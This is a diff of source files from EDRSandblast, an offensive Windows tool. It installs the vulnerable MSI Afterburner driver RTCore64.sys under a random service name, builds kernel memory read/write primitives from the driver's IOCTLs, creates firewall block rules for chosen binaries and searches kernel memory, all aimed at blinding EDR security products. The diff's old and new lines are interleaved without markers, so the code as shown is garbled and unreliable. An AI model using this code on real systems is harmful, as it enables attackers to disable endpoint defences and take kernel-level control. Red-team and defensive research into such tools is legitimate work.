Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
return deleted;
}
#include "../EDRSandblast.h"
#include "StringUtils.h"
#include "WindowsServiceOps.h"
/*
--- Vulnerable Micro-Star MSI Afterburner driver install / uninstall functions.
--- The "RTCore64.sys" (SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD) file must be present in the current directory if --driver is not specified.
--- Vulnerable driver install / uninstall functions.
*/
static TCHAR* randString(TCHAR* str, size_t size) {
srand((unsigned int) time(0));
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
if (size) {
for (size_t n = 0; n < size; n++) {
int key = rand() % (int)(sizeof charset - 1);
str[n] = charset[key];
}
str[size] = '\0';
TCHAR* g_driverServiceName;
TCHAR* GetDriverServiceName(void) {
if (!g_driverServiceName || _tcslen(g_driverServiceName) == 0) {
g_driverServiceName = allocAndGenerateRandomString(SERVICE_NAME_LENGTH);
}
return str;
return g_driverServiceName;
}
TCHAR* serviceName;
TCHAR* GetServiceName(void) {
if (!serviceName || _tcslen(serviceName) == 0) {
serviceName = calloc(SERVICE_NAME_LENGTH, sizeof(TCHAR));
randString(serviceName, SERVICE_NAME_LENGTH);
void SetDriverServiceName(_In_z_ TCHAR *newName) {
if (g_driverServiceName) {
free(g_driverServiceName);
}
return serviceName;
}
g_driverServiceName = _tcsdup(newName);
void SetServiceName(TCHAR *newName, size_t szNewName) {
if (serviceName) {
free(serviceName);
}
serviceName = (TCHAR*) calloc(szNewName, sizeof(TCHAR));
if (!serviceName) {
_tprintf(TEXT("[!] Error while attempting to set the service name.\n"));
if (!g_driverServiceName) {
_putts_or_not(TEXT("[!] Error while attempting to set the service name."));
return;
}
_tcscpy_s(serviceName, szNewName, newName);
}
BOOL InstallVulnerableDriver(TCHAR* driverPath) {
TCHAR* svcName = GetServiceName();
TCHAR* svcName = GetDriverServiceName();
DWORD status = ServiceInstall(svcName, svcName, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE);
if (status == 0x00000005) {
_tprintf(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?\n"));
_putts_or_not(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?"));
}
return status == 0x0;
}
BOOL UninstallVulnerableDriver(void) {
TCHAR* svcName = GetServiceName();
TCHAR* svcName = GetDriverServiceName();
BOOL status = ServiceUninstall(svcName, 0);
@@ -242,4 +65,53 @@ BOOL UninstallVulnerableDriver(void) {
}
return status;
}
}
BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName) {
SC_HANDLE hSCM = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ENUMERATE_SERVICE | SC_MANAGER_CONNECT);
BOOL isRunning = FALSE;
if (hSCM) {
DWORD cbBufSize, cbBytesNeeded;
DWORD nbServices;
BOOL bRes = EnumServicesStatusEx(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER, SERVICE_STATE_ALL, NULL, 0, &cbBytesNeeded, &nbServices, NULL, NULL);
if (!bRes && GetLastError() == ERROR_MORE_DATA) {
ENUM_SERVICE_STATUS_PROCESS* services = calloc(1, cbBytesNeeded);
if (services){
cbBufSize = cbBytesNeeded;
bRes = EnumServicesStatusEx(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER, SERVICE_STATE_ALL, (LPBYTE)services, cbBufSize, &cbBytesNeeded, &nbServices, NULL, NULL);
if (bRes) {
for (DWORD i = 0; i < nbServices; i++) {
SC_HANDLE hS = OpenService(hSCM, services[i].lpServiceName, SERVICE_QUERY_CONFIG);
if (hS && _tcscmp(services[i].lpServiceName, GetDriverServiceName())) {
bRes = QueryServiceConfig(hS, NULL, 0, &cbBytesNeeded);
if (!bRes && GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
QUERY_SERVICE_CONFIG* serviceConfig = calloc(1, cbBytesNeeded);
if (serviceConfig) {
cbBufSize = cbBytesNeeded;
bRes = QueryServiceConfig(hS, serviceConfig, cbBufSize, &cbBytesNeeded);
if (bRes) {
if (!_tcscmp(PathFindFileName(serviceConfig->lpBinaryPathName), PathFindFileName(driverPath))) {
isRunning = TRUE;
if (serviceName) {
*serviceName = _tcsdup(services[i].lpServiceName);
}
}
}
free(serviceConfig);
}
}
CloseServiceHandle(hS);
}
}
}
free(services);
}
}
CloseServiceHandle(hSCM);
}
else {
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
return FALSE;
}
return isRunning;
}
+52
View File
@@ -0,0 +1,52 @@
#include <Windows.h>
/*
* Dumps the full content of a single file into a newly allocated buffer
*/
PBYTE ReadFullFileW(LPCWSTR fileName) {
HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return NULL;
}
DWORD fileSize = GetFileSize(hFile, NULL);
PBYTE fileContent = malloc(fileSize);
DWORD bytesRead = 0;
if (!ReadFile(hFile, fileContent, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
free(fileContent);
fileContent = NULL;
}
CloseHandle(hFile);
return fileContent;
}
/*
* Checks is a file extists (and is not a directory)
*/
BOOL FileExistsW(LPCWSTR szPath)
{
DWORD dwAttrib = GetFileAttributesW(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
BOOL FileExistsA(LPCSTR szPath)
{
DWORD dwAttrib = GetFileAttributesA(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
/*
* Dumps the content of a buffer into a new file
*/
BOOL WriteFullFileW(LPCWSTR fileName, PBYTE fileContent, SIZE_T fileSize) {
HANDLE hFile = CreateFileW(fileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return FALSE;
}
BOOL res = WriteFile(hFile, fileContent, (DWORD)fileSize, NULL, NULL);
CloseHandle(hFile);
return res;
}
+4 -33
View File
@@ -6,6 +6,8 @@
#include <Tchar.h>
#include <stdio.h>
#include "../EDRSandblast.h"
#include "FileVersion.h"
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
@@ -19,7 +21,7 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
LPTSTR verData = (LPTSTR)calloc(verSize, 1);
if (!verData) {
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve version data\n"));
_putts_or_not(TEXT("[!] Couldn't allocate memory to retrieve version data"));
return;
}
@@ -31,7 +33,7 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
DWORD majorVersion = (verInfo->dwFileVersionLS >> 16) & 0xffff;
DWORD minorVersion = (verInfo->dwFileVersionLS >> 0) & 0xffff;
_stprintf_s(buffer, bufferLen, TEXT("%ld-%ld"), majorVersion, minorVersion);
// _tprintf(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion);
// _tprintf_or_not(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion);
}
}
}
@@ -39,34 +41,3 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
free(verData);
}
}
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute ntoskrnl.exe path.
TCHAR ntoskrnlPath[MAX_PATH] = { 0 };
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), systemDirectory);
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), TEXT("\\ntoskrnl.exe"));
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath);
_stprintf_s(ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer);
}
void GetWdigestVersion(TCHAR* wdigestVersion) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute ntoskrnl.exe path.
TCHAR wdigestPath[MAX_PATH] = { 0 };
_tcscat_s(wdigestPath, _countof(wdigestPath), systemDirectory);
_tcscat_s(wdigestPath, _countof(wdigestPath), TEXT("\\wdigest.dll"));
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath);
_stprintf_s(wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer);
}
+222
View File
@@ -0,0 +1,222 @@
extern "C" {
#include "../EDRSandblast.h"
#include "FirewallOps.h"
}
HRESULT ComInitNetFwPolicy2(INetFwPolicy2** ppNetFwPolicy2) {
HRESULT hrStatus = S_OK;
hrStatus = CoInitializeEx(0, COINIT_APARTMENTTHREADED);
// Ignore RPC_E_CHANGED_MODE (Microsoft documentation stating that the existing mode does not matter).
if (hrStatus != RPC_E_CHANGED_MODE && FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while initializing COM (CoInitializeEx failed: 0x%08lx)\n"), hrStatus);
return hrStatus;
}
hrStatus = CoCreateInstance(__uuidof(NetFwPolicy2), NULL, CLSCTX_INPROC_SERVER, __uuidof(INetFwPolicy2), (void**)ppNetFwPolicy2);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while initializing the INetFwPolicy2 interface (CoCreateInstance for INetFwPolicy2 failed: 0x%08lx)\n"), hrStatus);
return hrStatus;
}
return hrStatus;
}
extern "C" HRESULT IsFirewallEnabled(BOOL* firewallIsOn);
HRESULT IsFirewallEnabled(BOOL* firewallIsOn) {
HRESULT hrComInit = E_FAIL;
HRESULT hrStatus = S_OK;
INetFwPolicy2* pNetFwPolicy2 = NULL;
long CurrentProfilesBitMask = 0;
VARIANT_BOOL vbFirewallsEnabled = VARIANT_TRUE;
VARIANT_BOOL vbFirewallProfileEnabled = VARIANT_FALSE;
struct ProfileMapElement {
NET_FW_PROFILE_TYPE2 Id;
LPCWSTR Name;
};
ProfileMapElement ProfileMap[3];
ProfileMap[0].Id = NET_FW_PROFILE2_DOMAIN;
ProfileMap[0].Name = L"Domain";
ProfileMap[1].Id = NET_FW_PROFILE2_PRIVATE;
ProfileMap[1].Name = L"Private";
ProfileMap[2].Id = NET_FW_PROFILE2_PUBLIC;
ProfileMap[2].Name = L"Public";
hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2);
if (FAILED(hrComInit)) {
hrStatus = E_FAIL;
goto cleanup;
}
hrStatus = pNetFwPolicy2->get_CurrentProfileTypes(&CurrentProfilesBitMask);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Could not determine Firewall status (failed to get the active Firewall profiles - get_CurrentProfileTypes failed: 0x%08lx)\n"), hrStatus);
goto cleanup;
}
for (DWORD i = 0; i < 3; i++) {
if (CurrentProfilesBitMask & ProfileMap[i].Id) {
hrStatus = pNetFwPolicy2->get_FirewallEnabled(ProfileMap[i].Id, &vbFirewallProfileEnabled);
if (FAILED(hrStatus)) {
wprintf_or_not(L"[!] Could not determine Firewall status (failed to retrieve FirewallEnabled settings for %s profile - get_FirewallEnabled failed: 0x%08lx)\n", ProfileMap[i].Name, hrStatus);
goto cleanup;
}
if (vbFirewallProfileEnabled == VARIANT_FALSE) {
wprintf_or_not(L"[*] The Windows Firewall is off on the (active) '%s' profile.\n", ProfileMap[i].Name);
vbFirewallsEnabled = VARIANT_FALSE;
}
}
}
*firewallIsOn = (BOOL)(vbFirewallsEnabled == VARIANT_TRUE);
cleanup:
if (pNetFwPolicy2) {
pNetFwPolicy2->Release();
pNetFwPolicy2 = NULL;
}
if (SUCCEEDED(hrComInit)) {
CoUninitialize();
}
return hrStatus;
}
extern "C" HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName);
HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName) {
HRESULT hrComInit = E_FAIL;
HRESULT hrStatus = S_OK;
INetFwPolicy2* pNetFwPolicy2 = NULL;
INetFwRules* pFwRules = NULL;
INetFwRule* pFwRule = NULL;
BSTR bstrRuleName = NULL;
BSTR bstrRuleDescription = NULL;
BSTR bstrRuleApplication = NULL;
hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2);
if (FAILED(hrComInit)) {
hrStatus = E_FAIL;
goto cleanup;
}
// Rules parameters.
generateRandomString(ruleName, FW_RULE_NAME_MAX_LENGTH);
bstrRuleName = SysAllocString(ruleName);
bstrRuleDescription = SysAllocString(ruleName);
bstrRuleApplication = SysAllocString(binaryPath);
// hrStatus = pNetFwPolicy2->get_Rules(&pFwRules);
hrStatus = pNetFwPolicy2->get_Rules(&pFwRules);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Could not retrieve current Firewall rules (pNetFwPolicy2->get_Rules failed: 0x%08lx).\n"), hrStatus);
goto cleanup;
}
// Create a new Firewall Rule object.
hrStatus = CoCreateInstance(__uuidof(NetFwRule), NULL, CLSCTX_INPROC_SERVER, __uuidof(INetFwRule), (void**)&pFwRule);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while attempting to initiate the INetFwRule (CoCreateInstance failed: 0x%08lx).\n"), hrStatus);
goto cleanup;
}
// Populates the rule's parameters.
pFwRule->put_Name(bstrRuleName);
pFwRule->put_Description(bstrRuleDescription);
pFwRule->put_ApplicationName(bstrRuleApplication);
pFwRule->put_Protocol(NET_FW_IP_PROTOCOL_ANY);
pFwRule->put_Direction(direction);
pFwRule->put_Profiles(FW_PROFILE_TYPE_ALL);
pFwRule->put_Action(NET_FW_ACTION_BLOCK);
pFwRule->put_Enabled(VARIANT_TRUE);
// Add the new rule.
hrStatus = pFwRules->Add(pFwRule);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while adding the firewall blocking rule for %s (INetFwRule->Add failed: 0x%08lx)\n"), binaryPath, hrStatus);
}
cleanup:
if (pFwRule) {
pFwRule->Release();
}
if (pFwRules) {
pFwRules->Release();
}
if (pNetFwPolicy2) {
pNetFwPolicy2->Release();
}
if (bstrRuleName) {
SysFreeString(bstrRuleName);
bstrRuleName = NULL;
}
if (bstrRuleDescription) {
SysFreeString(bstrRuleDescription);
bstrRuleDescription = NULL;
}
if (bstrRuleApplication) {
SysFreeString(bstrRuleApplication);
bstrRuleApplication = NULL;
}
if (SUCCEEDED(hrComInit)) {
CoUninitialize();
}
return hrStatus;
}
extern "C" HRESULT DeleteFirewallRule(TCHAR* ruleName);
HRESULT DeleteFirewallRule(TCHAR* ruleName) {
HRESULT hrComInit = E_FAIL;
HRESULT hrStatus = S_OK;
INetFwPolicy2* pNetFwPolicy2 = NULL;
INetFwRules* pFwRules = NULL;
hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2);
if (FAILED(hrComInit)) {
hrStatus = E_FAIL;
goto cleanup;
}
hrStatus = pNetFwPolicy2->get_Rules(&pFwRules);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Could not retrieve current Firewall rules (pNetFwPolicy2->get_Rules: 0x%08lx).\n"), hrStatus);
goto cleanup;
}
hrStatus = pFwRules->Remove(ruleName);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while removing Firewall rule \"%s\" (failed with: 0x%08lx)\n"), ruleName, hrStatus);
_tprintf_or_not(TEXT("[!] The rule can be removed manually using: netsh advfirewall firewall delete rule name=%s\n"), ruleName);
}
else {
_tprintf_or_not(TEXT("[+] Successfully removed Firewall rule \"%s\"\n"), ruleName);
}
cleanup:
if (pFwRules) {
pFwRules->Release();
}
if (SUCCEEDED(hrComInit)) {
pNetFwPolicy2->Release();
}
return hrStatus;
}
+121
View File
@@ -0,0 +1,121 @@
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <windef.h>
#include <winhttp.h>
#include "../EDRSandblast.h"
#include "HttpClient.h"
BOOL HttpsDownloadFullFile(LPCWSTR domain, LPCWSTR uri, PBYTE* output, SIZE_T* output_size) {
wprintf_or_not(L"Downloading https://%s%s...\n", domain, uri);
// Get proxy configuration
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG proxyConfig;
WinHttpGetIEProxyConfigForCurrentUser(&proxyConfig);
BOOL proxySet = !(proxyConfig.fAutoDetect || proxyConfig.lpszAutoConfigUrl != NULL);
DWORD proxyAccessType = proxySet ? ((proxyConfig.lpszProxy == NULL) ?
WINHTTP_ACCESS_TYPE_NO_PROXY : WINHTTP_ACCESS_TYPE_NAMED_PROXY) : WINHTTP_ACCESS_TYPE_NO_PROXY;
LPCWSTR proxyName = proxySet ? proxyConfig.lpszProxy : WINHTTP_NO_PROXY_NAME;
LPCWSTR proxyBypass = proxySet ? proxyConfig.lpszProxyBypass : WINHTTP_NO_PROXY_BYPASS;
// Initialize HTTP session and request
HINTERNET hSession = WinHttpOpen(L"WinHTTP/1.0", proxyAccessType, proxyName, proxyBypass, 0);
if (hSession == NULL) {
printf_or_not("WinHttpOpen failed with error : 0x%x\n", GetLastError());
return FALSE;
}
HINTERNET hConnect = WinHttpConnect(hSession, domain, INTERNET_DEFAULT_HTTPS_PORT, 0);
if (!hConnect) {
printf_or_not("WinHttpConnect failed with error : 0x%x\n", GetLastError());
return FALSE;
}
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", uri, NULL,
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if (!hRequest) {
return FALSE;
}
// Configure proxy manually
if (!proxySet)
{
WINHTTP_AUTOPROXY_OPTIONS autoProxyOptions;
autoProxyOptions.dwFlags = proxyConfig.lpszAutoConfigUrl != NULL ? WINHTTP_AUTOPROXY_CONFIG_URL : WINHTTP_AUTOPROXY_AUTO_DETECT;
autoProxyOptions.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A;
autoProxyOptions.fAutoLogonIfChallenged = TRUE;
if (proxyConfig.lpszAutoConfigUrl != NULL)
autoProxyOptions.lpszAutoConfigUrl = proxyConfig.lpszAutoConfigUrl;
WCHAR szUrl[MAX_PATH] = { 0 };
swprintf_s(szUrl, _countof(szUrl), L"https://%ws%ws", domain, uri);
WINHTTP_PROXY_INFO proxyInfo;
WinHttpGetProxyForUrl(
hSession,
szUrl,
&autoProxyOptions,
&proxyInfo);
WinHttpSetOption(hRequest, WINHTTP_OPTION_PROXY, &proxyInfo, sizeof(proxyInfo));
DWORD logonPolicy = WINHTTP_AUTOLOGON_SECURITY_LEVEL_LOW;
WinHttpSetOption(hRequest, WINHTTP_OPTION_AUTOLOGON_POLICY, &logonPolicy, sizeof(logonPolicy));
}
// Perform request
BOOL bRequestSent;
do {
bRequestSent = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
} while (!bRequestSent && GetLastError() == ERROR_WINHTTP_RESEND_REQUEST);
if (!bRequestSent) {
return FALSE;
}
BOOL bResponseReceived = WinHttpReceiveResponse(hRequest, NULL);
if (!bResponseReceived) {
return FALSE;
}
// Read response
DWORD dwAvailableSize = 0;
DWORD dwDownloadedSize = 0;
SIZE_T allocatedSize = 4096;
if (!WinHttpQueryDataAvailable(hRequest, &dwAvailableSize))
{
return FALSE;
}
*output = (PBYTE) malloc(allocatedSize);
*output_size = 0;
while (dwAvailableSize)
{
while (*output_size + dwAvailableSize > allocatedSize) {
allocatedSize *= 2;
PBYTE new_output = (PBYTE)realloc(*output, allocatedSize);
if (new_output == NULL)
{
return FALSE;
}
*output = new_output;
}
if (!WinHttpReadData(hRequest, *output + *output_size, dwAvailableSize, &dwDownloadedSize))
{
return FALSE;
}
*output_size += dwDownloadedSize;
WinHttpQueryDataAvailable(hRequest, &dwAvailableSize);
}
PBYTE new_output = (PBYTE)realloc(*output, *output_size);
if (new_output == NULL)
{
return FALSE;
}
*output = new_output;
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return TRUE;
}
File diff suppressed because it is too large Load Diff
+20
View File
@@ -0,0 +1,20 @@
#include "IsElevatedProcess.h"
BOOL IsElevatedProcess() {
BOOL fRet = FALSE;
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION Elevation;
DWORD cbSize = sizeof(TOKEN_ELEVATION);
if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
fRet = Elevation.TokenIsElevated;
}
}
if (hToken) {
CloseHandle(hToken);
}
return fRet;
}
+53 -162
View File
@@ -1,178 +1,69 @@
/*
--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
*/
#include <Windows.h>
#include <Tchar.h>
#include <Psapi.h>
#include <stdio.h>
#include <assert.h>
#include "DriverRTCore.h"
#include "DriverDBUtil.h"
#include "KernelUtils.h"
#include "../EDRSandblast.h"
#include "KernelMemoryPrimitives.h"
static_assert(sizeof(struct RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_READ_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
NULL);
return MemoryRead.Value;
VOID ReadMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size) {
ReadMemoryPrimitive(Size, Address, Buffer);
}
void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
MemoryRead.Value = Value;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_WRITE_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
NULL);
VOID WriteMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size) {
WriteMemoryPrimitive(Size, Address, Buffer);
}
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 1, Address) & 0xff;
#define ReadMemoryType(TYPE) \
TYPE ReadMemory ## TYPE ## (DWORD64 Address) {\
TYPE res;\
ReadMemoryPrimitive(sizeof(TYPE), Address, &res);\
return res;\
}
ReadMemoryType(BYTE);
ReadMemoryType(WORD);
ReadMemoryType(DWORD);
ReadMemoryType(DWORD64);
#define ReadKernelMemoryType(TYPE) \
TYPE ReadKernelMemory ## TYPE ## (DWORD64 Offset) {\
TYPE res;\
DWORD64 Address = FindNtoskrnlBaseAddress() + Offset;\
ReadMemoryPrimitive(sizeof(TYPE), Address, &res);\
return res;\
}
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
ReadKernelMemoryType(BYTE);
ReadKernelMemoryType(WORD);
ReadKernelMemoryType(DWORD);
ReadKernelMemoryType(DWORD64);
#define WriteMemoryType(TYPE) \
VOID WriteMemory ## TYPE ## (DWORD64 Address, TYPE Value) {\
WriteMemoryPrimitive(sizeof(TYPE), Address, &Value);\
}
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 4, Address) & 0xffffffff;
WriteMemoryType(BYTE);
WriteMemoryType(WORD);
WriteMemoryType(DWORD);
WriteMemoryType(DWORD64);
#define WriteKernelMemoryType(TYPE) \
VOID WriteKernelMemory ## TYPE ## (DWORD64 Offset, TYPE Value) {\
DWORD64 Address = FindNtoskrnlBaseAddress() + Offset;\
WriteMemoryPrimitive(sizeof(TYPE), Address, &Value);\
}
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
return ((DWORD64)(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
WriteKernelMemoryType(BYTE);
WriteKernelMemoryType(WORD);
WriteKernelMemoryType(DWORD);
WriteKernelMemoryType(DWORD64);
BOOL TestReadPrimitive() {
return ReadKernelMemoryWORD(0) == *(WORD*)"MZ";
}
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value) {
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
Value = (currentValue & 0xFFFFFFFFFFFFFFF0) | (Value);
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value) {
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
Value = (currentValue & 0xFFFFFFFFFFFFFF00) | (Value);
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
/*
--- Kernel exploitation helpers.
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
*/
DWORD64 FindNtoskrnlBaseAddress(void) {
DWORD cbNeeded = 0;
LPVOID drivers[1024];
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
return (DWORD64)drivers[0];
}
return 0;
}
TCHAR* FindDriver(DWORD64 address, BOOL verbose) {
LPVOID drivers[1024];
DWORD cbNeeded;
int cDrivers = 0;
int i = 0;
TCHAR szDriver[1024] = { 0 };
DWORD64 minDiff = MAXDWORD64;
DWORD64 diff;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
cDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < cDrivers; i++) {
if ((DWORD64)drivers[i] <= address) {
diff = address - (DWORD64)drivers[i];
if (diff < minDiff) {
minDiff = diff;
}
}
}
}
else {
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
return NULL;
}
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
if (verbose) {
_tprintf(TEXT("[+] %016llx [%s + 0x%llx]\n"), address, szDriver, minDiff);
}
TCHAR* const ptrDrvier = (LPTSTR)calloc(1024, sizeof(TCHAR));
if (!ptrDrvier) {
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve the driver pointer\n"));
return NULL;
}
_tcscpy_s(ptrDrvier, 1024, szDriver);
return ptrDrvier;
}
else {
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
return NULL;
}
}
HANDLE GetDriverHandle() {
TCHAR service[] = TEXT("\\\\.\\RTCore64");
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (Device == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
exit(EXIT_FAILURE);
}
return Device;
}
DWORD64 GetFunctionAddress(LPCSTR function) {
DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress();
DWORD64 address = 0;
HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe"));
if (ntoskrnl) {
DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl);
address = ntoskrnlBaseAddress + offset;
FreeLibrary(ntoskrnl);
}
// _tprintf(TEXT("[+] %s address: 0x%I64x\n"), function, address);
return address;
}
+27 -34
View File
@@ -7,76 +7,69 @@
#include <Windows.h>
#include <Tchar.h>
#include "KernelMemoryPrimitives.h"
#include "KernelUtils.h"
#include "../EDRSandblast.h"
DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) {
DWORD64 PatternSearchStartingFromAddress(DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) {
for (DWORD i = 0; i < bytesToScan; i++) {
DWORD64 instructionAddress = startAddress + i;
DWORD64 dword64Instruction = ReadMemoryDWORD64(Device, instructionAddress);
DWORD64 dword64Instruction = ReadMemoryDWORD64(instructionAddress);
DWORD64 dword64InstructionFixed = dword64Instruction & mask;
